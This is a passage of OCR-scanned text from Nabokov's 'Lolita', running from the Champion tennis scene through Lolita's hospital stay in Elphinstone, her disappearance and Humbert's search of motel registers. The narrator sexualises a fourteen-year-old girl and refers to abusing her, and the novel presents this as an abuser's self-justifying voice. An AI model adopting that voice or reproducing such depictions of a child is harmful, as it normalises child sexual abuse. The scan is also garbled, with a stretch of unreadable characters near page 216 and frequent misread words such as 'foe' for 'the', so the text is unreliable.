+precision she used upon it seemed inordinately prehensile +and deliberate at the moment of clinging contact. Her form +was, indeed, an absolutely perfect imitation of absolutely top- +notch tennis — without any utilitarian results. As Edusa’s sister, +Electra Gold, a marvelous young coach, said to me once while +I sat on a pulsating hard bench watching Dolores Haze toying +with Linda Hall (and being beaten by her): “Dolly has a +magnet in foe center of her racket guts, but why the heck is +she so polite?” Ah, Electra, what did it matter, with such +grace! I remember at foe very first game I watched being +drenched with an almost painful convulsion of beauty assimi- +lation. My Lolita had a way of raising her bent left knee at +foe ample and springy start of foe service cycle when there +would develop and hang in foe sun for a second a vital web j + +of balance between toed foot, pristine armpit, burnished arm r + +and far back-flung racket, as she smiled up with gleaming +teeth at foe small globe suspended so high in foe zenith of | + +foe powerful and graceful cosmos she had created for the j + +express purpose of fallin g upon it with a clean resounding j +crack of her golden whip. i + +It had, that serve of hers, beauty, directness, youth, a classi- { +cal purity of trajectory, and was, despite its spanking pace, ; + +211 i + + +fairly easy to return, having as it did no twist or sting to its +long elegant hop. + +That I could have had all her strokes, all her enchantments, +immortalized in segments of celluloid, makes me moan to-day +with frustration. They would have been so much more than +the snapshots I burned! Her overhead volley was related to her +service as the envoy is to the ballade; for she had been trained, +my pet, to patter up at once to the net on her nimble, vivid, +white-shod feet. There was nothing to choose between her +forehand and backhand drives: they were mirror images of one +another — my very loins still tingle with those pistol re- +ports repeated by crisp echoes and Electra's cries. One of the +pearls of Dolly’s game was a short half-volley that Ned Litam +had taught her in California. + +She preferred acting to swimming, and swimming to tennis; +yet I insist that had not something within her been broken by +me — not that I realized it then! — she would have had on the +top of her perfect form the will to win, and would have be- +come a real girl champion. Dolores, with two rackets under +her arm, in Wimbledon. Dolores endorsing a Dromedary. +Dolores turning professional. Dolores acting a girl champion +in a movie. Dolores and her gray, humble, hushed husband- +coach, old Humbert. + +There was nothing wrong or deceitful in the spirit of her +game — unless one considered her cheerful indifference toward +its outcome as the feint of a nymphet. She who was so cruel +and crafty in everyday life, revealed an innocence, a frankness, +a kindness of ball-placing, that permitted a second-rate but +determined player, no matter how uncouth and incompetent, +to poke and cut his way to victory. Despite her small stature, +she covered the one thousand and fifty three square feet of +her half of the court with wonderful ease, once she had +entered into the rhythm of a rally and as long as she could +direct that rhythm; but any abrupt attack, or sudden change +of tactics on her adversary's part, left her helpless. At match +point, her second serve, which — rather typically — was even +stronger and more stylish than her first (for she had none of +the inhibitions that cautious winners have), would strike +vibrantly the harp-cord of the net — and ricochet out of court. +The polished gem of her dropshot was snapped up and put +away by an opponent who seemed four-legged and wielded a +crooked paddle. Her dramatic drives and lovely volleys would +candidly fall at his feet. Over and over again she would land + +212 + + + +an easy one into the net — and merrily mimic dismay by droops +ing in a ballet attitude, with her forelocks' hanging. So sterile +were her grace and whipper that she could not even win from +panting me and my old-fashioned lifting drive. + +I suppose I am especially susceptible to the magic of games. +In my chess sessions with Gaston I saw the board as a square +pool of limpid water with rare shells and stratagems rosily +visible upon the smooth tessellated bottom, which to my con- +fused adversary was all ooze and squid-cloud. Similarly, the +initial tennis coaching I had inflicted on Lolita — prior to the +revelations that came to her through the great Californian’s +lessons — remained in my mind as oppressive and distressful +memories — not only because she had been so hopelessly and +irritatingly irritated by every suggestion of mine — but because +the precious symmetry of the court instead of reflecting the +harmonies latent in her was utterly jumbled by the clumsiness +and lassitude of the resentful child I mistaught. Now things +were different, and on that particular day, in the pure air of +Champion, Colorado, on that admirable court at the foot of +steep stone stairs leading up to Champion Hotel where we +had spent the night, I felt I could rest from the nightmare +of unknown betrayals within the innocence of her style, of her +soul, of her essential grace. + +She was hitting hard and flat, with her usual effortless sweep, +feeding me deep skimming balls — all so rhythmically coordi- +nated and overt as to reduce my footwork to, practically, a +swinging stroll — crack players will understand what I mean. +My rather heavily cut serve that I had been taught by my +father who had learned it from Decugis or Borman, old friends +of his and great champions, would have seriously troubled my +Lo, had I really tried to trouble her. But who would upset such +a lucid dear? Did I ever mention that her bare arm bore the 8 +of vaccination? That I loved her hopelessly? That she was only +fourteen? + +An inquisitive butterfly passed, dipping, between us. + +_ Two people in tennis shorts, a red-haired fellow only about +eight years my junior, with sunburnt bright pink shins, and an +indolent dark girl with a moody mouth and hard eyes, about +two yean Lolita's senior, appeared from nowhere. As is com- +mon with dutiful tyros, their rackets were sheathed and +framed, and they carried them riot as if they were the natural +and comfortable extensions of certain specialized muscles, +but h a mm ers or blunderbusses or wimbles, or my own dread- + +213 + + + +ful cumbersome sins. Rather unceremoniously seating them- +selves near my precious coat, on a bench adjacent to the court, +they fell to admiring very vocally a rally of some fifty ex- +changes that Lo innocently helped me to foster and uphold — +until there occurred a syncope in the series causing her to +gasp as her overhead smash went out of court, whereupon she +melted into winsome merriment, my golden pet + +I felt thirsty by then, and walked to the drinking fountain; +there Red approached me and in all humility suggested a +mixed double. “I am Bill Mead,” he said. “And that’s Fay +Page, actress. MafEy On Say” — he added (pointing with his +ridiculously hooded racket at polished Fay who was already +talking to Dolly). I was about to reply “Sony, but — ” (for I +hate to have my filly involved in the chops and jabs of cheap +bunglers), when a remarkably melodious cry diverted my at- +tention: a bellboy was tripping down the steps from the hotel +to our court and making me signs. I was wanted, if you +please, on an urgent long distance call — so urgent in fact that +the line was being held for me. Certainly. I got into my coat +(inside pocket heavy with pistol) and told Lo I would be back +in a minute. She was picking up a ball — in the continental +foot-racket way which was one of the few nice things I had +taught her, — and smiled — she smiled at mel + +An awful calm kept my heart afloat as I followed the boy up +to the hotel. This, to use an American term, in which discov- +ery, retribution, torture, death, eternity appear in the shape +of a singularly repulsive nutshell, was it. I had left her in +mediocre hands, but it hardly mattered now. I would fight, ' +of course. Oh, I would fight Better destroy everything than +surrender her. Yes, quite a climb. + +At the desk, a dignified, Roman-nosed man, with, I suggest +a very obscure past that might reward investigation, handed +me a message in his own hand. The line had not been held +after all. The note said: + +"Mr Humbert The head of Birdsley (sic!) School called. +Summer residence — Birdsley 2-8282. Please call back immedi- +ately. Highly important” + +I folded myself into a booth, took a little pill, and for about +twenty minutes tussled with space-spooks. A quartet of propo- +sitions gradually became audible: soprano, there was no such +number in Beardsley; alto, Miss Pratt was on her way to +England; tenor, Beardsley School had not telephoned; bass, + +214 + + +they could not have done so, since nobody knew I was, that +particular day, in Champion, Colo. Upon my stinging him, +the Roman took the trouble to find out if there had been a +long distance calk There had been none. A fake call from +some local dial was not excluded. I thanked him. He said: You +bet After a visit to the purling men's room and a stiff drink +at the bar, I started on my return march. From the very first +terrace I saw, far below, on the tennis court which seemed the +size of a school child's Si-wiped slate, golden Lolita playing +in a double. She moved like a fair angel among three horrible +Boschian cripples. One of these, her partner, while changing +' sides, jocosely slapped her on her behind with his racket. He +had a remarkably round head and wore incongruous brown +trousers. There was a momentary flurry — he saw me, and +throwing away his racket — mine! — scuttled up the slope. He +waved his wrists and elbows in would-be comical imitation +of rudimentary wings, as he climbed, bow-legged, to the street, +where his gray car awaited him. Next moment he and the gray- +ness were gone. When I came down, the remaining trio were +collecting and sorting out the balls. + +"Mr. Mead, who was that person?” + +Bill and Fay, both looking very solemn, shook their heads. + +That absurd intruder had butted in to make up a double, +hadn’t he, Dolly? + +Dolly. The handle of my racket was still disgustingly warm. +Before returning to the hotel, I ushered her into a little alley +half-smothered in fragrant shrubs, with flowers like smoke, +and was about to burst into ripe sobs and plead with her un- +perturbed dream in the most abject maimer for clarification, +no matter how meretricious, of the slow awfulness envelop- +ing me, when we found ourselves behind the convulsed Mead +twosome — assorted people, you know, meeting among idyllic +settings in old comedies. Bill and Fay were both weak with +laughter — we had come at the end of their private joke. It did +not really matter. + +Speaking as if it really did not really matter, and assuming, +apparently, that life was automatically rolling on with all its +routine pleasures Dolores said she would like to change into +her bathing things, and spend the rest of the afternoon at +the swimming pooh It was a gorgeous day. Lolita! + + +215 + + + +21 + + +“Lol Lola! Lolita!” I hear myself crying from a doorway into +the sun, with the acoustics of time, domed time, endowing my +call and its tell-tale hoarseness with such a wealth of anxiety, +passion and pain that really it would have been instrumental in +wrenching open the zipper of her nylon shroud had she been +dead. Lolita! In the middle of a trim turfed terrace I found her +at last — she had run out before I was ready. Oh Lolita! There +she was playing with a damned dog, not me. The animal, a +terrier of sorts, was losing and snapping up again and adjust- +ing between his jaws a wet little red ball; he took rapid chords +with his front paws on the resilient turf, and then would +bounce away. I had only wanted to see where she was, I could +not swim with my heart in that state, but who cared — and +there she was, and there was I, in my robe — and so I stopped +calling;, but suddenly something in the pattern of her motions, +as she dashed this way and that in her Aztec Red bathing +briefs and bra, struck me . . . there was an ecstasy, a madness +about her frolics that was too much of a glad thing. Even the +dog seemed puzzled by the extravagance of her reactions. I +put a gentle hand to my chest as I surveyed the situation. +The turquoise blue swimming pool some distance behind the +lawn was no longer behind that lawn, but within my thorax, +and my organs swam in it like excrements in the blue sea water +in Nice. One of the bathers had left the pool and, half-con- +cealed by the peacocked shade of trees, stood quite still, hold- +ing the ends of the towel around his neck and following Lolita +with his amber eyes. There he stood, in the camouflage of +sun and shade, disfigured by them and masked by his own +nakedness, his damp black hair or what was left of it, glued +to his round head, his little mustache a humid smear, the +wool on his chest spread like a symmetrical trophy, his navel +pulsating, his hirsute thighs dripping with bright droplets, +his tight wet black bathing trunks bloated and bursting with +■vigor where his great fat bullybag was pulled up and back +like a padded shield over his reversed beasthood. And as I +looked at his oval nut-brown face, it dawned upon me that +what I had recognized him by was the reflection of my daugh- +ter s countenance — the same beatitude and g rima ce but made + +216 + + +hideous by 1 + +«« ghsM^Ss &s2s + +gost) Hie m '‘° 'If^ aoed agarnst i W > . aftOT aris a +Sd "Th^td F *ps shivered- fa>“f longer the +tude of dapp nnation took place. ’c^iss cousin,- the + +marvelous banrfO oJ-natuted audfoohshS ^ who used + +satyr but a very B mentl oned more tn &e g00 d + +Gustave Trapp 1 „ ( be drank beer grunting on + +to counteract bis r^g^t-lifting— totten g £ bat hing suit +swine) by f f ats . , bis otherwise very co P n oticed me +a lake beach with h« om ^ This TmpP d bact + +jauntily stnppedjrom towe l o» ?g e ha d gone + +from afar and workmg ol And as ^ oring the + +with false ^f^lTckened and ^ ^ **a + +out of the game, L# , ^ before her./V/ . a ro mp? + +Srtb^teare e caused m * e *££ + +tTVS i sphered + +StoS- to , seyes and they seemed to + +ffiaSSSf Ss£! “ + +I felt strong enough +doctor believed). + + +22 + + +c*i *pT Court* + + + +I am not referring to Trapp or Trapps. After all — well, really +. . . After all, gentlemen, it was becoming abundantly clear +that all those identical detectives in prismatically changing +cars were figments of my persecution mania, recurrent images +based on coincidence and chance resemblance. Soyons logi- +ques, crowed the cocky Gallic part of my brain — and pro +( ceeded to rout the notion of a Lolita-maddened salesman or +comedy gangster, with stooges, persecuting me, and hoaxing +me, and otherwise taking riotous advantage of my strange +relations with the law. I remember humming my panic away. +I remember evolving even an explanation of the “Birdsley” +telephone call . . . But if I could dismiss Trapp, as I had +dismissed my convulsions on the lawn at Champion, I could +do nothing with the anguish of knowing Lolita to be so tan- +talizingly, so miserably unattainable and beloved on the very +eve of a new era, when my alembics told me she should stop +being a nymphet, stop torturing me. + +An additional, abominable, and perfectly gratuitous worry +was lovingly prepared for me in Elphinstone. Lo had been dull +and silent during the last lap — two hundred mountainous +miles uncontaminated by smoke-gray sleuths or zigzagging +zanies. She hardly glanced at the famous, oddly shaped, splen- +didly flushed rock which jutted above the mountains and had +been the take-off for nirvana on the part of a temperamental +show girl. The town was newly built, or rebuilt, on the flat +floor of a seven-thousand foot high valley; it would soon bore +Lo, I hoped, and we would spin on to California, to the +Mexican border, to mythical bays, saguaro deserts, fatamor- +ganas. }os6 Lizzarrabengoa, as you remember, planned to take +his Carmen to the E tats Unis. I conjured up a Central Amer- +ican tennis competition in which Dolores Haze and various +Californian schoolgirl champions would dazzlingly participate. +Good-will tours on that smiling level eliminate the distinction +between passport and sport Why did I hope we would be +happy abroad? A change of environment is the traditional +fallacy upon which doomed loves, and lungs, rely. + +Mrs. Hays, the brisk, brickly rouged, blue-eyed widow who +ran the motor court, asked me if I were Swiss perchance, be- +cause her sister had married a Swiss ski instructor. I was, +whereas my daughter happened to be half Irish. I registered. +Hays gave me the key and a twinkling smile, and, still twin- +kling, showed me where to park the car; Lo crawled out and +shivered a little: the luminous evening air was decidedly crisp. + +218 + + +Upon entering the cabin, she sat down on a chair at a card +table, buried her face in the crook of her arm and said she +felt awful. Shamming, I thought, s hamm ing, no doubt, to +evade my caresses; I was passionately parched; but she be- +gan to whimper in an unusually dreary way when I attempted +to fondle her. Lolita iH. Lolita dying. Her skin was scalding +hotl I took her temperature, orally, then looked up a scribbled +formula I fortunately had in a jotter and after laboriously re- +ducing the, meaningless to me, degrees Fahrenheit to the +intimate centigrade of my childhood, found she had 40.4, +which at least made sense. Hysterical little nymphs might, I +knew, run up all kinds of temperature — even exceeding a +fetal count. And I would have given her a sip of hot spiced +wine, and two aspirins, and kissed the fever away, if, upon +an examination of her lovely uvula, one of the gems of her +body, I bad not' seen that it was a burning red. I undressed +her. Her breath was bittersweet Her brown rose tasted of +blood. She was shaking from head to toe. She complained of +a painful stiffness in the upper vertebrae — and I thought of +poliomyelitis as any American parent, would. Giving up all +hope of intercourse, I wrapped her up in a laprobe and carried +her into the car. Kind Mrs. Hays in the meantime had alerted +the local doctor. "You are lucky it happened here,” she said; +for not only was Blue the best man in the district but the +Elphinstone hospital was as modem as modem could be, de- +spite its limited capacity. With a heterosexual Erlkonig in pur- +suit, thither I drove, half-blinded by a royal sunset on the +lowland side and guided by a little old woman, a portable +witch, perhaps his daughter, whom Mrs. Hays had lent me, +and whom I was never to see again. Dr. Blue, whose learning, +no doubt, was infinitely inferior to his reputation, assured me +it was a virus infection, and when I alluded to her compara- +tively recent flu, curtly said this was another bug, he bad +forty such cases on his hands; all of which sounded like the +“ague” of the ancients. I wondered if I should mention, with +a casual chuckle, that my fifteen-year-old daughter had had a +minor accident while climbing an awkward fence with her boy +friend, but knowing I was drunk, I decided to withhold the +information till later if necessary. To an unsmiling blond bitch +of a secretary I gave my daughters age as “practically sixteen.” +While I was not looking, my child was taken away from mel +In vain I insisted I be allowed to spend the night on a "wel- +come” mat in a comer of their damned hospitaL I ran up + +219 + + + +constructivistic flights of stairs, I tried to trace my darling so as +to tell her she had better not babble, especially if she felt as +lightheaded as we all did. At one point, I was rather dreadfully +rude to a very young and very cheeky nurse with overdeveloped +gluteal parts and blazing black eyes — of Basque descent, as I +learned. Her father was an imported shepherd, a trainer of +sheep dogs. Finally, I returned to the car and remained in it +for I do not know how many hours, hunched up in the dark, +stunned by my new solitude, looking out open-mouthed now +at the dimly illumed, very square and low hospital building +squatting in the middle of its lawny block, now up at the +wash of stars and the jagged silvery ramparts of the haute +montagne where at the moment Mary's father, lonely Joseph +Lore, was dreaming of Oloron, Lagore, Rolas — que sais-jeJ — +or seducing a ewe. Such-like fragrant vagabond thoughts have +been always a solace to me in times of unusual stress, and only +when, despite liberal libations, I felt fairly numbed by the +endless night, did I think of driving back to the motel. The old +woman had disappeared, and I was not quite sure of my way. +Wide gravel roads criss-crossed drowsy rectangular shadows. I +made out what looked like the silhouette of gallows on what +was probably a school playground; and in another wastelike +block there rose in domed silence the pale temple of some local +sect I found the highway at last, and then the motel, where +millions of so-called “millers,” a kind of insect, were swarming +around the neon contours of "No Vacancy”; and, when, at +3 a.m., after one of those untimely hot showers which like +some mordant only help to fix a man's despair and weariness, +I lay on her bed that smelled of chestnuts and roses, and pep- +permint, and the very delicate, very special French perfume +I latterly allowed her to use, I found myself unable to assimi- +late the simple fact that for the first time in two years I was +separated from my Lolita. AH at once it occurred to me that +her Alness was somehow the development of a theme- — that +it had the same taste and tone as the series of linked im- +pressions which had puzzled and tormented me during our +journey; I imagined that secret agent, or secret lover, or +prankster, or hallucination, or whatever he was, prowling +around the hospital — and Aurora had hardly "wanned her +hands,” as the pickers of lavender say in the country of my +birth, when I found myself trying to get into that dungeon +again, knocking upon its green doors, breakfastless, stool-less, +in despair. + + +220 + + +, This was Tuesday, and Wednesday or Thursday, splendidly +reacting like the darling she was to some "serum” (sparrow’s +sperm or dugong’s dung) , she was much better, and the doctor +said that in a couple of days she would be "skipping” again. + +Of the eight times I visited her, the last one alone remains +sharply engraved on my mind. It had been a great feat to come +for I felt all hollowed out by the infection that by then was +at work on me too. None will know the strain it was to carry +that bouquet, that load of love, those books that I had trav- +eled sixty miles to buy; Browning’s Dramatic Works, The +History of Dancing, Clowns and Columbines, The Russian +Ballet, Flowers of the Rockies, The Theatre Guild Anthology, +Tennis by Helen Wills, who bad won the National Junior +Girl Singles at the age of fifteen. As I was staggering up to +the door of my daughter’s tbiiteen-doHar-a-day private room, +Mary Lore, the beastly young part-time nurse who had taken +an unconcealed dislike to me, emerged with a finished break- +fast tray, placed it with a quick crash on a chair in the cor- +ridor, and, fundament figging, shot back into the room — +probably to warn her poor little Dolores that the tyrannic old +father was creeping up on crepe soles, with books and bou- +quet; the latter I had composed of wild flowers and beautiful +leaves gathered with my own gloved hands on a mountain +pass at sunrise (I hardly slept at all that fateful week) . + +Feeding my Carmencita web? Idly I glanced at the tray. +On a yolk-stained plate there was a crumpled envelope. It had +contained something, since one edge was tom, but there was +no address on it — nothing at all, save a phony armorial design +with ‘Tonderosa Lodge” in green letters; thereupon I per- +formed a chassg-croisd with Mary, who was in the act of +bustling out again — wonderful how fast they move and how +little they do, those rumpy young nurses. She glowered at the +envelope I had put back, uncrumpled. + +“You better not touch,” she said, nodding directionally. +"Could bum your fingers.” + +Below my dignity to rejoin. All I said was: + +"Je croyais que c'dtait rm bill — not a billet doux.” Then, +entering the sunny room, to Lolita: “Bonjour, mon petit.” + +“Dolores,” said Mary Lore, entering with me, past me, +through me, the plump whore, and blinking, and starting to +fold very rapidly a white flannel blanket as she blinked: +"Dolores, your pappy thinks you are getting letters from my +boy friend. It's me (smugly tapping herself on the small gilt + +221 + + + +cross she wore) gets them. And my pappy can parlay-voo as +well as yours.” + +She left the room. Dolores, so rosy and russet, lips freshly +painted, hair brilliantly brushed, bare arms straightened out +on neat coverlet, lay innocently beaming at me or nothing. +On the bed table, next to a paper napkin and a pencil, her +topaz ring burned in the sun. + +“What gruesome funeral flowers,” she said. “Thanks all the +same. But do you mind very much cutting out the French? It +annoys everybody.” + +Back at the usual rush came the ripe young hussy, reeking +of urine and garlic, with the Deseret News, which her fair +patient eagerly accepted, ignoring the sumptuously illustrated +volumes I had brought + +“My sister Ann,” said Mary (topping information with +afterthought) “works at the Ponderosa place.” + +Poor Bluebeard. Those brutal brothers. Est-ce que tu ne +m’aimes plus, ma Carmen? She never had. At the moment I +knew my love was as hopeless as ever — -and I also knew the +two girls were conspirators, plotting in Basque, or Zemfirian, +against my hopeless love. I shall go further and say that Lo was +playing a double game since she was also fooling sentimental +Mary whom she had told, I suppose, that she wanted to dwell +with her fun-loving young unde and not with cruel melan- +choly me. And another nurse whom I never identified, and +the village idiot who carted cots and coffins into the elevator, +and the idiotic green love birds in a cage in the waiting room +— all were in the plot, the sordid plot. I suppose Mary thought +comedy father Professor Humbertoldi was interfering with +the romance between Dolores and her father-substitute, roly- +poly Romeo (for you were rather lardy, you know, Rom, de- +spite all that "snow” and “joy juice”). + +My throat hurt. I stood, swallowing, at the window and +stared at the mountains, at the romantic rock high up in the +smiling plotting sky. + +“My Carmen,” I said (I used to call her that sometimes) +"we shall leave this raw sore town as soon as you get out of +bed.” + +“Incidentally, I want all my clothes,” said the gitaniDa, +humping up her knees and turning to another page. + +. . Because, really,” I continued, “there is no point in +staying here.” + +There is no point in staying anywhere,” said Lolita. + +222 + + +V + + + +I lowered myself into a cretonne chair and, opening the at- +tractive botanical work, attempted, in the fever-humming +hush of the room, to identifiy my flowers. This proved im- +possible. Presently a musical bell softly sounded somewhere +in the passage. + +I do not think they had more than a dozen patients (three +or four were lunatics, as Lo had cheerfully informed me +earlier) in that show place of a hospital, and the staff had +too much leisure. However — likewise for reasons of show — +regulations were rigid. It is also true that I kept coming at the +wrong hours. Not without a secret flow of dreamy malice, +visionary Mary (next time it will be une belle dame toute en +bleu floating through Roaring Gulch) plucked me by the +sleeve to lead me out I looked at her hand; it dropped. As +I was leaving, leaving voluntarily, Dolores Haze reminded me +to bring her next morning . . . She did not remember where +the various things she wanted were . . . "Bring me,” she +cried (out of sight already, door on the move, closing, closed), +"the new gray suitcase and Mother’s trunk”; but by next +morning I was shivering, and boozing, and dying in the motel +bed she had used for just a few minutes, and the best I could +do under the circular and dilating circumstances was to send +the two bags over with the widow’s beau, a robust and kindly +trucker. I imagined Lo displaying her treasures to Mary . . . +No doubt, I was a little delirious — and on the following day I +was still a vibration rather than a solid, for when I looked out +of the bathroom window at the adjacent lawn, I saw Dolly’s +beautiful young bicycle propped up there on its support, +the graceful front wheel looking away from me, as it always +did, and a sparrow perched on the saddle — but it was the +landlady’s bike, and smiling a little, and shaking my poor +head over my fond fancies, I tottered back to my bed, and +lay as quiet as a saint — + +Saint, forsooth! While brown Dolores, + +On a patch of sunny green +With Sanchicha reading stories +In a movie magazine — + +— which was represented by numerous specimens wherever +Dolores landed, and there was some great national celebration +in town judging by the firecrackers, veritable bombs, that ex- +ploded all the time, and at five minutes to two pj-i. I heard + +22 ? + + +the sound of whistling lips nearing the half-opened door of +my cabin, and then a thump upon it. + +It was big Frank. He remained framed in the opened door, +one hand on its jamb, leaning forward a little. + +Howdy. Nurse Lore was on the telephone. She wanted to +know was I better and would I come today? + +At twenty paces Frank used to look a mountain of health; +at five, as now, he was a ruddy mosaic of scars — had been +blown through a wall overseas; but despite nameless injuries he +was able to man a tremendous truck, fish, hunt, drink, and +buoyantly dally with roadside ladies. That day, either because +it was such a great holiday, or simply because he wanted to +divert a sick man, he had taken off the glove he usually wore +on his left hand (the one pressing against the side of the +door) and revealed to the fascinated sufferer not only an entire +lack of fourth and fifth fingers, but also a naked girl, with +cinnabar nipples and indigo delta, charmingly tattooed on +the back of his crippled hand, its index and middle digit mak- +ing her legs while his wrist bore her flower-crowned head. +Oh, delicious . . . reclining against the woodwork, like some +sly fairy. + +I asked him to tell Mary Lore I would stay in bed all day +and would get into touch with my daughter sometime tomor- +row if I felt probably Polynesian. + +He noticed the direction of my gaze and made her right +hip twitch amorously. + +"Okey-dokey,” big Frank sang out, slapped the jamb, and, +whistling, carried my message away, and I went on drinking, +and by morning the fever was gone, and although I was as limp +as a toad, I put on the purple dressing gown over my maize +yellow pajamas, and walked over to the office telephone. +Everything was fine. A bright voice informed me that yes, +everything was fine, my daughter had checked out the day +before, around two, her uncle, Mr. Gustave, had called for her +uath a cocker spaniel pup and a smile for everyone, and a black +Caddy Lack, and had paid Dolly's bill in cash, and told them +to tell me I should not worry, and keep warm, they were at +Grandpa’s ranch as agreed. + +Elphinstone was, and I hope still is, a very cute little town. +It was spread like a maquette, you know, with its neat green- +W'ool trees and red-roofed houses over the valley floor and I +think I have alluded earlier to its model school and temple +and spacious rectangular blocks, some of which were, curiously + +224 + + +'s + + +enough, just unconventional pastures with a mule or a unicorn +grazing in the young July morning mist Very amusing: at one +gravel-groaning sharp turn I sideswiped a parked car but said +to myself telestically — and, telepathically (I hoped), to its +gesticulating owner — that I would return later, address Bird +School, Bird, New Bird, the gin kept my heart alive but +bemazed my brain, and after some lapses and losses common +to dream sequences, I found myself in the reception room, +trying to beat up the doctor, and roaring at people under +chairs, and clamoring for Mary who luckily for her was not +there; rough hands plucked at my dressing gown, ripping off a +pocket, and somehow I seem to have been sitting on a bald +brown-headed patient, whom I had mistaken for Dr. Blue, +and who eventually stood up, remarking with a preposterous +accent: "Now, who is nevrotic, I ask?” — and then a gaunt +unsmiling nurse presented me with seven beautiful, beautiful +books and the exquisitely folded tartan lap robe, and de- +manded a receipt; and in the sudden silence I became aware +of a policeman in the hallway, to whom my fellow motorist +was pointing me out, and meekly I signed die very symbolic +receipt, thus surrendering my Lolita to all those apes. But +what else could I do? One simple and stark thought stood out +and this was: “Freedom for the moment is everything.” One +false move — and I might have been made to explain a life of +crime. So I simulated a coming out of a daze. To my fellow +motorist I paid what he thought was fair. To Dr. Blue, who +by then was stroking my hand, I spoke in tears of the liquor +I bolstered too freely a tricky but not necessarily diseased +heart with. To the hospital in general I apologized with a +flourish that almost bowled me over, adding however that I +was not on particularly good terms with the rest of the Hum- +bert clan. To myself I whispered that I still had my gun, and +was still a free man — free to trace the fugitive, free to destroy +my brother. + + +23 + + +A thousand-mtle stretch of silk-smooth road separated Kas- +beam, where, to the best of my belief, the red fiend bad been + +225 + + + +scheduled to appear for the first time, and fateful Elphinstone +which we had reached about a week before Independence Day. +The journey had taken up most of June for we had seldom +made more than a hundred and fifty miles per traveling day, +spending the rest of the time, up to five days in one case, at +various stopping places, all of them also prearranged, no doubt +It was that stretch, then, along which the fiend's spoor should +be sought; and to this I devoted myself, after several unmen- +tionable days of dashing up and down the relentlessly radiating +roads in the vicinity of Elphinstone. + +Imagine me, reader, with my shyness, my distaste for any +ostentation, my inherent sense of the comme il faut, imagine +me masking the frenzy of my grief with a trembling ingratiat- +ing smile while devising some casual pretext to flip through the +hotel register: "Oh,” I would say, "I am almost positive that +I stayed here once — let me look up the entries for mid-June +— no, I see I'm wrong after all — what a very quaint name for +a home town, Kawtagain. Thanks very much.” Or: "I had +a customer staying here — I mislaid his address — may I . . .?” +And every once in a while, especially if the operator of the +place happened to be a certain type of gloomy male, personal +inspection of the books was denied me. + +I have a memo here: between July 5 and November 18, +when I returned to Beardsley for a few days, I registered, if +not actually stayed, at 342 hotels, motels and tourist homes. +This figure includes a few registrations between Chestnut and +Beardsley, one of which yielded a shadow of the fiend (“N. +Petit, Larousse, HI.”); I had to space and time my inquiries +carefully so as not to attract undue attention; and there must +have been at least fifty places where I merely inquired at the +desk — but that was a futile quest, and I preferred building +up a foundation of verisimilitude and good will by first pay- +ing for an unneeded room. My survey showed that of the +300 or so books inspected, at least 20 provided me with a +clue: the loitering fiend had stopped even more often than we, +or else — he was quite capable of that — he had thrown in +additional registrations in order to keep me well furnished +with derisive hints. Only in one case had he actually stayed +at the same motor court as we, a few paces from Lolita’s pil- +low. In some instances he had taken up quarters in the same +or in a neighboring block; not infrequently he had lain in +wait at an intermediate spot between two bespoken points. +How vividly I recalled Lolita, just before our departure from + +226 + + +Beardsley, prone on the- parlor rag, studying tour hoots and +maps, and marking laps and stops with her lipstick! . + +I discovered at once that he had foreseen my investigation +and had planted insulting pseudonyms for my special benefit. +At the very first motel office I visited, Ponderosa Lodge, his +entry, among a dozen obviously human ones, read: Dr. Gra- +tiano Forbeson, Mirandola, NY. Its Italian Comedy conno- +tations could not fail to strike me, of course. The landlady +deigned to inform me that the gentleman had been laid up for +five days with a bad cold, that he had left his car for repairs +in some garage or other and that he had checked out on the +4th of July. Yes, a girl called Ann Lore had worked formerly +at the Lodge, but was now married to a grocer in Cedar City. +One moonlit night I waylaid white-shoed Mary on a solitary +street; an automaton, she was about to shriek, but I managed +to humanize her by the simple act of falling on my knees +and with pious yelps imploring her to help. She did not know +a thing, she swore. Who was this Gratiano Forbeson? She +seemed to waver. I whipped out a hundred-dollar bill. She +lifted it to the light of the moon. “He is your brother," she +whispered at last. I plucked the bill out of her moon-cold +hand, and spitting out a French curse turned and ran away. +This taught me to rely on myself alone. No detective could +discover the clues Trapp had tuned to my mind and manner. +I could not hope, of course, he would ever leave his correct +name and address; but I did hope he might slip on the glaze +of his own subtlety, by daring, say, to introduce a richer and +more personal shot of color than was strictly necessary', or by +revealing too much through a qualitative sum of quantitative +parts which revealed too little. In one thing he succeeded: +he succeeded in thoroughly enmeshing me and my thrashing +anguish in his demoniacal game. With infinite skill, he swayed +and staggered, and regained an impossible balance, always +leaving me with the sportive hope — if I may use such a term +in speaking of betrayal, fury, desolation, horror and hate — +that he might give himself away next time. He never did — +though coming damn close to it. We all admire the spangled +acrobat with classical grace meticulously walking his tight rope +in the talcum light; but how much rarer art there is in the +sagging rope expert wearing scarecrow clothes and impersonat- +ing a grotesque drunk! I should know. + +The clues he left did not establish his identity but they re- +flected his personality, or at least a certain homogenous and + +227 + + + +striking personality; his genre,- his type of humor — at its best +at least — the tone of his brain, had affinities with my own. He +mimed and mocked me. His allusions were definitely high- +brow. He was well-read. He knew French. He was versed in +logodaedaly and logomancy. He was an amateur of sex lore. +He had a feminine handwriting. He could change his name +but he could not disguise, no matter how he slanted them, his +very peculiar Ps, w’s and l’s. Quelquepart Island was one of +his favorite residences. He did not use a fountain pen which +fact, as any psychoanalyst will tell you, meant that Hie patient +was a repressed undinist. One mercifully hopes there are water +nymphs in the Styx. + +His main trait was his passion for tantalization. Goodness, +what a tease the poor fellow was! He challenged my scholar- +ship. I am sufficiently proud of my knowing something to be +modest about my not knowing all; and I daresay I missed some +elements in that cryptogrammic paper chase. What a shiver +of triumph and loathing shook my frail frame V/hen, among +the plain innocent names in the hotel recorder, his fiendish +conundrum would ejaculate in my face! I noticed that when- +ever he felt his enigmas were becoming too recondite, even for +such a solver as I, he would lure me back with an easy one. +“Arsine Lupin” was obvious to a Frenchman who remem- +bered the detective stories of his youth; and one hardly had to +be a Coleridgian to appreciate the trite poke of “A. Person, +Porlock, England.” In horrible taste but basically suggestive +of a cultured man — not a policeman, not a common goon, not +a lewd salesman — were such assumed names as "Arthur Rain- +bow” — plainly the travestied author of Le Bateau Bleu— -let +me laugh a little too, gentlemen — and "Morris Schmetter- +ling,” of L’Oiseau Ivre fame (touchS, readerl). The silly but +funny "D. Orgon, Elmira NY,” was from Moli^re, of course, +and because I had quite recently tried to interest Lolita in a +famous 18th-century play, I welcomed as an old friend "Harry +Bumper, Sheridan, Wyo.” An ordinary encyclopedia informed +me who the peculiar looking “Phineas Quimby, Lebanon, +NH” was; and any good Freudian, with a German name and +some interest in religious prostitution, should recognize at a +glance the implication of "Dr. Kitzler, Eryx, 